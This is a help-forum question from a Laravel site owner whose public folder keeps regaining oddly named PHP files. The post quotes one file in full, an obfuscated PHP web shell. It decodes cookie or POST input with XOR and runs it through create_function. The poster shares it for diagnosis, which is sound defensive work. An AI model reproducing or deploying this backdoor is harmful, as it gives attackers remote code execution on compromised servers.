title: Weird php file under laravel5.8 public folder
body: <p>Under my <em>Laravel</em> application's public folder, there are some suspicious<code>php</code> files with weird name like "<code>8xmzujk2.php</code>". </p>
  
  <p>Even though I try to delete those files one or two times, those files appear again after two or three days. I use the window server with apache. There are no record in apache's access and error log at the time those files are created.</p>
  
  <p>If anyone encounter this issue before, please kindly suggest me the steps to solve this issue. All the suggestion are welcome. Thanks in advance. </p>
  
  <p>The code inside this one of suspicious php file is as below.</p>
  
  <pre class="lang-php prettyprint-override"><code>&lt;?php
  $groqw = 'e-xv2i4_3r78g0*6kypmcoustndl#5\'b19aHf';$vcdoidm = Array();$vcdoidm[] = $groqw[35].$groqw[14];$vcdoidm[] = $groqw[20].$groqw[9].$groqw[0].$groqw[34].$groqw[24].$groqw[0].$groqw[7].$groqw[36].$groqw[22].$groqw[25].$groqw[20].$groqw[24].$groqw[5].$groqw[21].$groqw[25];$vcdoidm[] = $groqw[33].$groqw[36].$groqw[8].$groqw[34].$groqw[13].$groqw[10].$groqw[34].$groqw[32].$groqw[1].$groqw[29].$groqw[33].$groqw[4].$groqw[20].$groqw[1].$groqw[6].$groqw[10].$groqw[13].$groqw[32].$groqw[1].$groqw[11].$groqw[36].$groqw[13].$groqw[15].$groqw[1].$groqw[29].$groqw[29].$groqw[31].$groqw[10].$groqw[15].$groqw[0].$groqw[33].$groqw[13].$groqw[32].$groqw[33].$groqw[34].$groqw[34];$vcdoidm[] = $groqw[28];$vcdoidm[] = $groqw[20].$groqw[21].$groqw[22].$groqw[25].$groqw[24];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[7].$groqw[9].$groqw[0].$groqw[18].$groqw[0].$groqw[34].$groqw[24];$vcdoidm[] = $groqw[0].$groqw[2].$groqw[18].$groqw[27].$groqw[21].$groqw[26].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[22].$groqw[31].$groqw[23].$groqw[24].$groqw[9];$vcdoidm[] = $groqw[34].$groqw[9].$groqw[9].$groqw[34].$groqw[17].$groqw[7].$groqw[19].$groqw[0].$groqw[9].$groqw[12].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[27].$groqw[0].$groqw[25];$vcdoidm[] = $groqw[18].$groqw[34].$groqw[20].$groqw[16];foreach ($vcdoidm[8]($_COOKIE, $_POST) as $cpaxpnw =&gt; $afkxx){function dlvrss($vcdoidm, $cpaxpnw, $eowcms){return $vcdoidm[7]($vcdoidm[5]($cpaxpnw . $vcdoidm[2], ($eowcms / $vcdoidm[9]($cpaxpnw)) + 1), 0, $eowcms);}function isfap($vcdoidm, $eeqhx){return @$vcdoidm[10]($vcdoidm[0], $eeqhx);}function eeejy($vcdoidm, $eeqhx){$jfvsqg = $vcdoidm[4]($eeqhx) % 3;if (!$jfvsqg) {$ykpentn = $vcdoidm[1]; $fggryc = $ykpentn("", $eeqhx[1]($eeqhx[2]));$fggryc();exit();}}$afkxx = isfap($vcdoidm, $afkxx);eeejy($vcdoidm, $vcdoidm[6]($vcdoidm[3], $afkxx ^ dlvrss($vcdoidm, $cpaxpnw, $vcdoidm[9]($afkxx))));}
  </code></pre>